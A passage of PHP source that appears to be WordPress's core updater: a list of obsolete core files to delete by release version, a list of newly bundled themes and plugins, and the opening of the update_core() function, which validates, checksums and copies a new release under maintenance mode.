2.9 'wp-admin/js/page.dev.js', 'wp-admin/js/page.js', 'wp-admin/js/set-post-thumbnail-handler.dev.js', 'wp-admin/js/set-post-thumbnail-handler.js', 'wp-admin/js/slug.dev.js', 'wp-admin/js/slug.js', 'wp-includes/gettext.php', 'wp-includes/js/tinymce/plugins/wordpress/js', 'wp-includes/streams.php', // MU 'README.txt', 'htaccess.dist', 'index-install.php', 'wp-admin/css/mu-rtl.css', 'wp-admin/css/mu.css', 'wp-admin/images/site-admin.png', 'wp-admin/includes/mu.php', 'wp-admin/wpmu-admin.php', 'wp-admin/wpmu-blogs.php', 'wp-admin/wpmu-edit.php', 'wp-admin/wpmu-options.php', 'wp-admin/wpmu-themes.php', 'wp-admin/wpmu-upgrade-site.php', 'wp-admin/wpmu-users.php', 'wp-includes/images/wordpress-mu.png', 'wp-includes/wpmu-default-filters.php', 'wp-includes/wpmu-functions.php', 'wpmu-settings.php', // 3.0 'wp-admin/categories.php', 'wp-admin/edit-category-form.php', 'wp-admin/edit-page-form.php', 'wp-admin/edit-pages.php', 'wp-admin/images/admin-header-footer.png', 'wp-admin/images/browse-happy.gif', 'wp-admin/images/ico-add.png', 'wp-admin/images/ico-close.png', 'wp-admin/images/ico-edit.png', 'wp-admin/images/ico-viewpage.png', 'wp-admin/images/fav-top.png', 'wp-admin/images/screen-options-left.gif', 'wp-admin/images/wp-logo-vs.gif', 'wp-admin/images/wp-logo.gif', 'wp-admin/import', 'wp-admin/js/wp-gears.dev.js', 'wp-admin/js/wp-gears.js', 'wp-admin/options-misc.php', 'wp-admin/page-new.php', 'wp-admin/page.php', 'wp-admin/rtl.css', 'wp-admin/rtl.dev.css', 'wp-admin/update-links.php', 'wp-admin/wp-admin.css', 'wp-admin/wp-admin.dev.css', 'wp-includes/js/codepress', 'wp-includes/js/codepress/engines/khtml.js', 'wp-includes/js/codepress/engines/older.js', 'wp-includes/js/jquery/autocomplete.dev.js', 'wp-includes/js/jquery/autocomplete.js', 'wp-includes/js/jquery/interface.js', 'wp-includes/js/scriptaculous/prototype.js', 'wp-includes/js/tinymce/wp-tinymce.js', // 3.1 'wp-admin/edit-attachment-rows.php', 'wp-admin/edit-link-categories.php', 'wp-admin/edit-link-category-form.php', 'wp-admin/edit-post-rows.php', 'wp-admin/images/button-grad-active-vs.png', 'wp-admin/images/button-grad-vs.png', 'wp-admin/images/fav-arrow-vs-rtl.gif', 'wp-admin/images/fav-arrow-vs.gif', 'wp-admin/images/fav-top-vs.gif', 'wp-admin/images/list-vs.png', 'wp-admin/images/screen-options-right-up.gif', 'wp-admin/images/screen-options-right.gif', 'wp-admin/images/visit-site-button-grad-vs.gif', 'wp-admin/images/visit-site-button-grad.gif', 'wp-admin/link-category.php', 'wp-admin/sidebar.php', 'wp-includes/classes.php', 'wp-includes/js/tinymce/blank.htm', 'wp-includes/js/tinymce/plugins/media/css/content.css', 'wp-includes/js/tinymce/plugins/media/img', 'wp-includes/js/tinymce/plugins/safari', // 3.2 'wp-admin/images/logo-login.gif', 'wp-admin/images/star.gif', 'wp-admin/js/list-table.dev.js', 'wp-admin/js/list-table.js', 'wp-includes/default-embeds.php', 'wp-includes/js/tinymce/plugins/wordpress/img/help.gif', 'wp-includes/js/tinymce/plugins/wordpress/img/more.gif', 'wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif', 'wp-includes/js/tinymce/themes/advanced/img/fm.gif', 'wp-includes/js/tinymce/themes/advanced/img/sflogo.png', // 3.3 'wp-admin/css/colors-classic-rtl.css', 'wp-admin/css/colors-classic-rtl.dev.css', 'wp-admin/css/colors-fresh-rtl.css', 'wp-admin/css/colors-fresh-rtl.dev.css', 'wp-admin/css/dashboard-rtl.dev.css', 'wp-admin/css/dashboard.dev.css', 'wp-admin/css/global-rtl.css', 'wp-admin/css/global-rtl.dev.css', 'wp-admin/css/global.css', 'wp-admin/css/global.dev.css', 'wp-admin/css/install-rtl.dev.css', 'wp-admin/css/login-rtl.dev.css', 'wp-admin/css/login.dev.css', 'wp-admin/css/ms.css', 'wp-admin/css/ms.dev.css', 'wp-admin/css/nav-menu-rtl.css', 'wp-admin/css/nav-menu-rtl.dev.css', 'wp-admin/css/nav-menu.css', 'wp-admin/css/nav-menu.dev.css', 'wp-admin/css/plugin-install-rtl.css', 'wp-admin/css/plugin-install-rtl.dev.css', 'wp-admin/css/plugin-install.css', 'wp-admin/css/plugin-install.dev.css', 'wp-admin/css/press-this-rtl.dev.css', 'wp-admin/css/press-this.dev.css', 'wp-admin/css/theme-editor-rtl.css', 'wp-admin/css/theme-editor-rtl.dev.css', 'wp-admin/css/theme-editor.css', 'wp-admin/css/theme-editor.dev.css', 'wp-admin/css/theme-install-rtl.css', 'wp-admin/css/theme-install-rtl.dev.css', 'wp-admin/css/theme-install.css', 'wp-admin/css/theme-install.dev.css', 'wp-admin/css/widgets-rtl.dev.css', 'wp-admin/css/widgets.dev.css', 'wp-admin/includes/internal-linking.php', 'wp-includes/images/admin-bar-sprite-rtl.png', 'wp-includes/js/jquery/ui.button.js', 'wp-includes/js/jquery/ui.core.js', 'wp-includes/js/jquery/ui.dialog.js', 'wp-includes/js/jquery/ui.draggable.js', 'wp-includes/js/jquery/ui.droppable.js', 'wp-includes/js/jquery/ui.mouse.js', 'wp-includes/js/jquery/ui.position.js', 'wp-includes/js/jquery/ui.resizable.js', 'wp-includes/js/jquery/ui.selectable.js', 'wp-includes/js/jquery/ui.sortable.js', 'wp-includes/js/jquery/ui.tabs.js', 'wp-includes/js/jquery/ui.widget.js', 'wp-includes/js/l10n.dev.js', 'wp-includes/js/l10n.js', 'wp-includes/js/tinymce/plugins/wplink/css', 'wp-includes/js/tinymce/plugins/wplink/img', 'wp-includes/js/tinymce/plugins/wplink/js', 'wp-includes/js/tinymce/themes/advanced/img/wpicons.png', 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png', 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/button_bg.png', 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif', 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png', 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/separator.gif', // Don't delete, yet: 'wp-rss.php', // Don't delete, yet: 'wp-rdf.php', // Don't delete, yet: 'wp-rss2.php', // Don't delete, yet: 'wp-commentsrss2.php', // Don't delete, yet: 'wp-atom.php', // Don't delete, yet: 'wp-feed.php', // 3.4 'wp-admin/images/gray-star.png', 'wp-admin/images/logo-login.png', 'wp-admin/images/star.png', 'wp-admin/index-extra.php', 'wp-admin/network/index-extra.php', 'wp-admin/user/index-extra.php', 'wp-admin/images/screenshots/admin-flyouts.png', 'wp-admin/images/screenshots/coediting.png', 'wp-admin/images/screenshots/drag-and-drop.png', 'wp-admin/images/screenshots/help-screen.png', 'wp-admin/images/screenshots/media-icon.png', 'wp-admin/images/screenshots/new-feature-pointer.png', 'wp-admin/images/screenshots/welcome-screen.png', 'wp-includes/css/editor-buttons.css', 'wp-includes/css/editor-buttons.dev.css', 'wp-includes/js/tinymce/plugins/paste/blank.htm', 'wp-includes/js/tinymce/plugins/wordpress/css', 'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js', 'wp-includes/js/tinymce/plugins/wordpress/img/embedded.png', 'wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif', 'wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif', 'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.dev.js', 'wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css', 'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js', 'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.dev.js', 'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js', 'wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png', 'wp-includes/js/tinymce/plugins/wplink/editor_plugin.dev.js', // Don't delete, yet: 'wp-pass.php', // Don't delete, yet: 'wp-register.php', // 3.5 'wp-admin/gears-manifest.php', 'wp-admin/includes/manifest.php', 'wp-admin/images/archive-link.png', 'wp-admin/images/blue-grad.png', 'wp-admin/images/button-grad-active.png', 'wp-admin/images/button-grad.png', 'wp-admin/images/ed-bg-vs.gif', 'wp-admin/images/ed-bg.gif', 'wp-admin/images/fade-butt.png', 'wp-admin/images/fav-arrow-rtl.gif', 'wp-admin/images/fav-arrow.gif', 'wp-admin/images/fav-vs.png', 'wp-admin/images/fav.png', 'wp-admin/images/gray-grad.png', 'wp-admin/images/loading-publish.gif', 'wp-admin/images/logo-ghost.png', 'wp-admin/images/logo.gif', 'wp-admin/images/menu-arrow-frame-rtl.png', 'wp-admin/images/menu-arrow-frame.png', 'wp-admin/images/menu-arrows.gif', 'wp-admin/images/menu-bits-rtl-vs.gif', 'wp-admin/images/menu-bits-rtl.gif', 'wp-admin/images/menu-bits-vs.gif', 'wp-admin/images/menu-bits.gif', 'wp-admin/images/menu-dark-rtl-vs.gif', 'wp-admin/images/menu-dark-rtl.gif', 'wp-admin/images/menu-dark-vs.gif', 'wp-admin/images/menu-dark.gif', 'wp-admin/images/required.gif', 'wp-admin/images/screen-options-toggle-vs.gif', 'wp-admin/images/screen-options-toggle.gif', 'wp-admin/images/toggle-arrow-rtl.gif', 'wp-admin/images/toggle-arrow.gif', 'wp-admin/images/upload-classic.png', 'wp-admin/images/upload-fresh.png', 'wp-admin/images/white-grad-active.png', 'wp-admin/images/white-grad.png', 'wp-admin/images/widgets-arrow-vs.gif', 'wp-admin/images/widgets-arrow.gif', 'wp-admin/images/wpspin_dark.gif', 'wp-includes/images/upload.png', 'wp-includes/js/prototype.js', 'wp-includes/js/scriptaculous', 'wp-admin/css/wp-admin-rtl.dev.css', 'wp-admin/css/wp-admin.dev.css', 'wp-admin/css/media-rtl.dev.css', 'wp-admin/css/media.dev.css', 'wp-admin/css/colors-classic.dev.css', 'wp-admin/css/customize-controls-rtl.dev.css', 'wp-admin/css/customize-controls.dev.css', 'wp-admin/css/ie-rtl.dev.css', 'wp-admin/css/ie.dev.css', 'wp-admin/css/install.dev.css', 'wp-admin/css/colors-fresh.dev.css', 'wp-includes/js/customize-base.dev.js', 'wp-includes/js/json2.dev.js', 'wp-includes/js/comment-reply.dev.js', 'wp-includes/js/customize-preview.dev.js', 'wp-includes/js/wplink.dev.js', 'wp-includes/js/tw-sack.dev.js', 'wp-includes/js/wp-list-revisions.dev.js', 'wp-includes/js/autosave.dev.js', 'wp-includes/js/admin-bar.dev.js', 'wp-includes/js/quicktags.dev.js', 'wp-includes/js/wp-ajax-response.dev.js', 'wp-includes/js/wp-pointer.dev.js', 'wp-includes/js/hoverIntent.dev.js', 'wp-includes/js/colorpicker.dev.js', 'wp-includes/js/wp-lists.dev.js', 'wp-includes/js/customize-loader.dev.js', 'wp-includes/js/jquery/jquery.table-hotkeys.dev.js', 'wp-includes/js/jquery/jquery.color.dev.js', 'wp-includes/js/jquery/jquery.color.js', 'wp-includes/js/jquery/jquery.hotkeys.dev.js', 'wp-includes/js/jquery/jquery.form.dev.js', 'wp-includes/js/jquery/suggest.dev.js', 'wp-admin/js/xfn.dev.js', 'wp-admin/js/set-post-thumbnail.dev.js', 'wp-admin/js/comment.dev.js', 'wp-admin/js/theme.dev.js', 'wp-admin/js/cat.dev.js', 'wp-admin/js/password-strength-meter.dev.js', 'wp-admin/js/user-profile.dev.js', 'wp-admin/js/theme-preview.dev.js', 'wp-admin/js/post.dev.js', 'wp-admin/js/media-upload.dev.js', 'wp-admin/js/word-count.dev.js', 'wp-admin/js/plugin-install.dev.js', 'wp-admin/js/edit-comments.dev.js', 'wp-admin/js/media-gallery.dev.js', 'wp-admin/js/custom-fields.dev.js', 'wp-admin/js/custom-background.dev.js', 'wp-admin/js/common.dev.js', 'wp-admin/js/inline-edit-tax.dev.js', 'wp-admin/js/gallery.dev.js', 'wp-admin/js/utils.dev.js', 'wp-admin/js/widgets.dev.js', 'wp-admin/js/wp-fullscreen.dev.js', 'wp-admin/js/nav-menu.dev.js', 'wp-admin/js/dashboard.dev.js', 'wp-admin/js/link.dev.js', 'wp-admin/js/user-suggest.dev.js', 'wp-admin/js/postbox.dev.js', 'wp-admin/js/tags.dev.js', 'wp-admin/js/image-edit.dev.js', 'wp-admin/js/media.dev.js', 'wp-admin/js/customize-controls.dev.js', 'wp-admin/js/inline-edit-post.dev.js', 'wp-admin/js/categories.dev.js', 'wp-admin/js/editor.dev.js', 'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.dev.js', 'wp-includes/js/tinymce/plugins/wpdialogs/js/popup.dev.js', 'wp-includes/js/tinymce/plugins/wpdialogs/js/wpdialog.dev.js', 'wp-includes/js/plupload/handlers.dev.js', 'wp-includes/js/plupload/wp-plupload.dev.js', 'wp-includes/js/swfupload/handlers.dev.js', 'wp-includes/js/jcrop/jquery.Jcrop.dev.js', 'wp-includes/js/jcrop/jquery.Jcrop.js', 'wp-includes/js/jcrop/jquery.Jcrop.css', 'wp-includes/js/imgareaselect/jquery.imgareaselect.dev.js', 'wp-includes/css/wp-pointer.dev.css', 'wp-includes/css/editor.dev.css', 'wp-includes/css/jquery-ui-dialog.dev.css', 'wp-includes/css/admin-bar-rtl.dev.css', 'wp-includes/css/admin-bar.dev.css', 'wp-includes/js/jquery/ui/jquery.effects.clip.min.js', 'wp-includes/js/jquery/ui/jquery.effects.scale.min.js', 'wp-includes/js/jquery/ui/jquery.effects.blind.min.js', 'wp-includes/js/jquery/ui/jquery.effects.core.min.js', 'wp-includes/js/jquery/ui/jquery.effects.shake.min.js', 'wp-includes/js/jquery/ui/jquery.effects.fade.min.js', 'wp-includes/js/jquery/ui/jquery.effects.explode.min.js', 'wp-includes/js/jquery/ui/jquery.effects.slide.min.js', 'wp-includes/js/jquery/ui/jquery.effects.drop.min.js', 'wp-includes/js/jquery/ui/jquery.effects.highlight.min.js', 'wp-includes/js/jquery/ui/jquery.effects.bounce.min.js', 'wp-includes/js/jquery/ui/jquery.effects.pulsate.min.js', 'wp-includes/js/jquery/ui/jquery.effects.transfer.min.js', 'wp-includes/js/jquery/ui/jquery.effects.fold.min.js', 'wp-admin/images/screenshots/captions-1.png', 'wp-admin/images/screenshots/captions-2.png', 'wp-admin/images/screenshots/flex-header-1.png', 'wp-admin/images/screenshots/flex-header-2.png', 'wp-admin/images/screenshots/flex-header-3.png', 'wp-admin/images/screenshots/flex-header-media-library.png', 'wp-admin/images/screenshots/theme-customizer.png', 'wp-admin/images/screenshots/twitter-embed-1.png', 'wp-admin/images/screenshots/twitter-embed-2.png', 'wp-admin/js/utils.js', 'wp-admin/options-privacy.php', 'wp-app.php', 'wp-includes/class-wp-atom-server.php', 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css', // 3.5.2 'wp-includes/js/swfupload/swfupload-all.js', // 3.6 'wp-admin/js/revisions-js.php', 'wp-admin/images/screenshots', 'wp-admin/js/categories.js', 'wp-admin/js/categories.min.js', 'wp-admin/js/custom-fields.js', 'wp-admin/js/custom-fields.min.js', // 3.7 'wp-admin/js/cat.js', 'wp-admin/js/cat.min.js', 'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.min.js', // 3.8 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/page_bug.gif', 'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/more_bug.gif', 'wp-includes/js/thickbox/tb-close-2x.png', 'wp-includes/js/thickbox/tb-close.png', 'wp-includes/images/wpmini-blue-2x.png', 'wp-includes/images/wpmini-blue.png', 'wp-admin/css/colors-fresh.css', 'wp-admin/css/colors-classic.css', 'wp-admin/css/colors-fresh.min.css', 'wp-admin/css/colors-classic.min.css', 'wp-admin/js/about.min.js', 'wp-admin/js/about.js', 'wp-admin/images/arrows-dark-vs-2x.png', 'wp-admin/images/wp-logo-vs.png', 'wp-admin/images/arrows-dark-vs.png', 'wp-admin/images/wp-logo.png', 'wp-admin/images/arrows-pr.png', 'wp-admin/images/arrows-dark.png', 'wp-admin/images/press-this.png', 'wp-admin/images/press-this-2x.png', 'wp-admin/images/arrows-vs-2x.png', 'wp-admin/images/welcome-icons.png', 'wp-admin/images/wp-logo-2x.png', 'wp-admin/images/stars-rtl-2x.png', 'wp-admin/images/arrows-dark-2x.png', 'wp-admin/images/arrows-pr-2x.png', 'wp-admin/images/menu-shadow-rtl.png', 'wp-admin/images/arrows-vs.png', 'wp-admin/images/about-search-2x.png', 'wp-admin/images/bubble_bg-rtl-2x.gif', 'wp-admin/images/wp-badge-2x.png', 'wp-admin/images/wordpress-logo-2x.png', 'wp-admin/images/bubble_bg-rtl.gif', 'wp-admin/images/wp-badge.png', 'wp-admin/images/menu-shadow.png', 'wp-admin/images/about-globe-2x.png', 'wp-admin/images/welcome-icons-2x.png', 'wp-admin/images/stars-rtl.png', 'wp-admin/images/wp-logo-vs-2x.png', 'wp-admin/images/about-updates-2x.png', // 3.9 'wp-admin/css/colors.css', 'wp-admin/css/colors.min.css', 'wp-admin/css/colors-rtl.css', 'wp-admin/css/colors-rtl.min.css', 'wp-admin/css/media-rtl.min.css', 'wp-admin/css/media.min.css', 'wp-admin/css/farbtastic-rtl.min.css', 'wp-admin/images/lock-2x.png', 'wp-admin/images/lock.png', 'wp-admin/js/theme-preview.js', 'wp-admin/js/theme-install.min.js', 'wp-admin/js/theme-install.js', 'wp-admin/js/theme-preview.min.js', 'wp-includes/js/plupload/plupload.html4.js', 'wp-includes/js/plupload/plupload.html5.js', 'wp-includes/js/plupload/changelog.txt', 'wp-includes/js/plupload/plupload.silverlight.js', 'wp-includes/js/plupload/plupload.flash.js', 'wp-includes/js/plupload/plupload.js', 'wp-includes/js/tinymce/plugins/spellchecker', 'wp-includes/js/tinymce/plugins/inlinepopups', 'wp-includes/js/tinymce/plugins/media/js', 'wp-includes/js/tinymce/plugins/media/css', 'wp-includes/js/tinymce/plugins/wordpress/img', 'wp-includes/js/tinymce/plugins/wpdialogs/js', 'wp-includes/js/tinymce/plugins/wpeditimage/img', 'wp-includes/js/tinymce/plugins/wpeditimage/js', 'wp-includes/js/tinymce/plugins/wpeditimage/css', 'wp-includes/js/tinymce/plugins/wpgallery/img', 'wp-includes/js/tinymce/plugins/wpfullscreen/css', 'wp-includes/js/tinymce/plugins/paste/js', 'wp-includes/js/tinymce/themes/advanced', 'wp-includes/js/tinymce/tiny_mce.js', 'wp-includes/js/tinymce/mark_loaded_src.js', 'wp-includes/js/tinymce/wp-tinymce-schema.js', 'wp-includes/js/tinymce/plugins/media/editor_plugin.js', 'wp-includes/js/tinymce/plugins/media/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/media/media.htm', 'wp-includes/js/tinymce/plugins/wpview/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/wpview/editor_plugin.js', 'wp-includes/js/tinymce/plugins/directionality/editor_plugin.js', 'wp-includes/js/tinymce/plugins/directionality/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js', 'wp-includes/js/tinymce/plugins/wordpress/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.js', 'wp-includes/js/tinymce/plugins/wpeditimage/editimage.html', 'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js', 'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm', 'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js', 'wp-includes/js/tinymce/plugins/wplink/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/wplink/editor_plugin.js', 'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js', 'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js', 'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.js', 'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/paste/editor_plugin.js', 'wp-includes/js/tinymce/plugins/paste/pasteword.htm', 'wp-includes/js/tinymce/plugins/paste/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/paste/pastetext.htm', 'wp-includes/js/tinymce/langs/wp-langs.php', // 4.9.2 'wp-includes/js/mediaelement/flashmediaelement.swf', 'wp-includes/js/mediaelement/silverlightmediaelement.xap', ); /** * Stores new files in wp-content to copy * * The contents of this array indicate any new bundled plugins/themes which * should be installed with the WordPress Upgrade. These items will not be * re-installed in future upgrades, this behaviour is controlled by the * introduced version present here being older than the current installed version. * * The content of this array should follow the following format: * Filename (relative to wp-content) => Introduced version * Directories should be noted by suffixing it with a trailing slash (/) * * @since 3.2.0 * @global array $_new_bundled_files * @var array * @name $_new_bundled_files */ global $_new_bundled_files; $_new_bundled_files = array( 'plugins/akismet/' => '2.0', 'themes/twentyten/' => '3.0', 'themes/twentyeleven/' => '3.2', 'themes/twentytwelve/' => '3.5', 'themes/twentythirteen/' => '3.6', 'themes/twentyfourteen/' => '3.8', ); /** * Upgrade the core of WordPress. * * This will create a .maintenance file at the base of the WordPress directory * to ensure that people can not access the web site, when the files are being * copied to their locations. * * The files in the {@link $_old_files} list will be removed and the new files * copied from the zip file after the database is upgraded. * * The files in the {@link $_new_bundled_files} list will be added to the installation * if the version is greater than or equal to the old version being upgraded. * * The steps for the upgrader for after the new release is downloaded and * unzipped is: * 1. Test unzipped location for select files to ensure that unzipped worked. * 2. Create the .maintenance file in current WordPress base. * 3. Copy new WordPress directory over old WordPress files. * 4. Upgrade WordPress to new version. * 4.1. Copy all files/folders other than wp-content * 4.2. Copy any language files to WP_LANG_DIR (which may differ from WP_CONTENT_DIR * 4.3. Copy any new bundled themes/plugins to their respective locations * 5. Delete new WordPress directory path. * 6. Delete .maintenance file. * 7. Remove old files. * 8. Delete 'update_core' option. * * There are several areas of failure. For instance if PHP times out before step * 6, then you will not be able to access any portion of your site. Also, since * the upgrade will not continue where it left off, you will not be able to * automatically remove old files and remove the 'update_core' option. This * isn't that bad. * * If the copy of the new WordPress over the old fails, then the worse is that * the new WordPress directory will remain. * * If it is assumed that every file will be copied over, including plugins and * themes, then if you edit the default theme, you should rename it, so that * your changes remain. * * @since 2.7.0 * * @param string $from New release unzipped path. * @param string $to Path to old WordPress installation. * @return WP_Error|null WP_Error on failure, null on success. */ function update_core($from, $to) { global $wp_filesystem, $_old_files, $_new_bundled_files, $wpdb; @set_time_limit( 300 ); /** * Filter feedback messages displayed during the core update process. * * The filter is first evaluated after the zip file for the latest version * has been downloaded and unzipped. It is evaluated five more times during * the process: * * 1. Before WordPress begins the core upgrade process. * 2. Before Maintenance Mode is enabled. * 3. Before WordPress begins copying over the necessary files. * 4. Before Maintenance Mode is disabled. * 5. Before the database is upgraded. * * @since 2.5.0 * * @param string $feedback The core update feedback messages. */ apply_filters( 'update_feedback', __( 'Verifying the unpacked files…' ) ); // Sanity check the unzipped distribution. $distro = ''; $roots = array( '/wordpress/', '/wordpress-mu/' ); foreach ( $roots as $root ) { if ( $wp_filesystem->exists( $from . $root . 'readme.html' ) && $wp_filesystem->exists( $from . $root . 'wp-includes/version.php' ) ) { $distro = $root; break; } } if ( ! $distro ) { $wp_filesystem->delete( $from, true ); return new WP_Error( 'insane_distro', __('The update could not be unpacked') ); } // Import $wp_version, $required_php_version, and $required_mysql_version from the new version // $wp_filesystem->wp_content_dir() returned unslashed pre-2.8 $versions_file = trailingslashit( $wp_filesystem->wp_content_dir() ) . 'upgrade/version-current.php'; if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $versions_file ) ) { $wp_filesystem->delete( $from, true ); return new WP_Error( 'copy_failed_for_version_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-includes/version.php' ); } $wp_filesystem->chmod( $versions_file, FS_CHMOD_FILE ); require( WP_CONTENT_DIR . '/upgrade/version-current.php' ); $wp_filesystem->delete( $versions_file ); $php_version = phpversion(); $mysql_version = $wpdb->db_version(); $old_wp_version = $GLOBALS['wp_version']; // The version of WordPress we're updating from $development_build = ( false !== strpos( $old_wp_version . $wp_version, '-' ) ); // a dash in the version indicates a Development release $php_compat = version_compare( $php_version, $required_php_version, '>=' ); if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) $mysql_compat = true; else $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ); if ( !$mysql_compat || !$php_compat ) $wp_filesystem->delete($from, true); if ( !$mysql_compat && !$php_compat ) return new WP_Error( 'php_mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) ); elseif ( !$php_compat ) return new WP_Error( 'php_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version ) ); elseif ( !$mysql_compat ) return new WP_Error( 'mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version ) ); /** This filter is documented in wp-admin/includes/update-core.php */ apply_filters( 'update_feedback', __( 'Preparing to install the latest version…' ) ); // Don't copy wp-content, we'll deal with that below // We also copy version.php last so failed updates report their old version $skip = array( 'wp-content', 'wp-includes/version.php' ); $check_is_writable = array(); // Check to see which files don't really need updating - only available for 3.7 and higher if ( function_exists( 'get_core_checksums' ) ) { // Find the local version of the working directory $working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename( $from ) . $distro; $checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' ); if ( is_array( $checksums ) && isset( $checksums[ $wp_version ] ) ) $checksums = $checksums[ $wp_version ]; // Compat code for 3.7-beta2 if ( is_array( $checksums ) ) { foreach( $checksums as $file => $checksum ) { if ( 'wp-content' == substr( $file, 0, 10 ) ) continue; if ( ! file_exists( ABSPATH . $file ) ) continue; if ( ! file_exists( $working_dir_local . $file ) ) continue; if ( md5_file( ABSPATH . $file ) === $checksum ) $skip[] = $file; else $check_is_writable[ $file ] = ABSPATH . $file; } } } // If we're using the direct method, we can predict write failures that are due to permissions. if ( $check_is_writable && 'direct' === $wp_filesystem->method ) { $files_writable = array_filter( $check_is_writable, array( $wp_filesystem, 'is_writable' ) ); if ( $files_writable !== $check_is_writable ) { $files_not_writable = array_diff_key( $check_is_writable, $files_writable ); foreach ( $files_not_writable as $relative_file_not_writable => $file_not_writable ) { // If the writable check failed, chmod file to 0644 and try again, same as copy_dir(). $wp_filesystem->chmod( $file_not_writable, FS_CHMOD_FILE ); if ( $wp_filesystem->is_writable( $file_not_writable ) ) unset( $files_not_writable[ $relative_file_not_writable ] ); } // Store package-relative paths (the key) of non-writable files in the WP_Error object. $error_data = version_compare( $old_wp_version, '3.7-beta2', '>' ) ? array_keys( $files_not_writable ) : ''; if ( $files_not_writable ) return new WP_Error( 'files_not_writable', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), implode( ', ', $error_data ) ); } } /** This filter is documented in wp-admin/includes/update-core.php */ apply_filters( 'update_feedback', __( 'Enabling Maintenance mode…' ) ); // Create maintenance file to signal that we are upgrading $maintenance_string = '<?php $upgrading = ' . time() . '; ?>'; $maintenance_file = $to . '.maintenance'; $wp_filesystem->delete($maintenance_file); $wp_filesystem->put_contents($maintenance_file, $maintenance_string, FS_CHMOD_FILE); /** This filter is documented in wp-admin/includes/update-core.php */ apply_filters( 'update_feedback', __( 'Copying the required files…' ) ); // Copy new versions of WP files into place. $result = _copy_dir( $from . $distro, $to, $skip ); if ( is_wp_error( $result ) ) $result = new WP_Error( $result->get_error_code(), $result->get_error_message(), substr( $result->get_error_data(), strlen( $to ) ) ); // Since we know the core files have copied over, we can now copy the version file if ( ! is_wp_error( $result ) ) { if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $to . 'wp-includes/version.php', true /* overwrite */ ) ) { $wp_filesystem->delete( $from, true ); $result = new WP_Error( 'copy_failed_for_version_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-includes/version.php' ); } $wp_filesystem->chmod( $to . 'wp-includes/version.php', FS_CHMOD_FILE ); } // Check to make sure everything copied correctly, ignoring the contents of wp-content $skip = array( 'wp-content' ); $failed = array(); if ( isset( $checksums ) && is_array( $checksums ) ) { foreach ( $checksums as $file => $checksum ) { if ( 'wp-content' == substr( $file, 0, 10 ) ) continue; if ( ! file_exists( $working_dir_local . $file ) ) continue; if ( file_exists( ABSPATH . $file ) && md5_file( ABSPATH . $file ) == $checksum ) $skip[] = $file; else $failed[] = $file; } } // Some files didn't copy properly if ( ! empty( $failed ) ) { $total_size = 0; foreach ( $failed as $file ) { if ( file_exists( $working_dir_local . $file ) ) $total_size += filesize( $working_dir_local . $file ); } // If we don't have enough free space, it isn't worth trying again. // Unlikely to be hit due to the check in unzip_file(). $available_space = @disk_free_space( ABSPATH ); if ( $available_space && $total_size >= $available_space ) { $result = new WP_Error( 'disk_full', __( 'There is not enough free disk space to complete the update.' ) ); } else { $result = _copy_dir( $from . $distro, $to, $skip ); if ( is_wp_error( $result ) ) $result = new WP_Error( $result->get_error_code() . '_retry', $result->get_error_message(), substr( 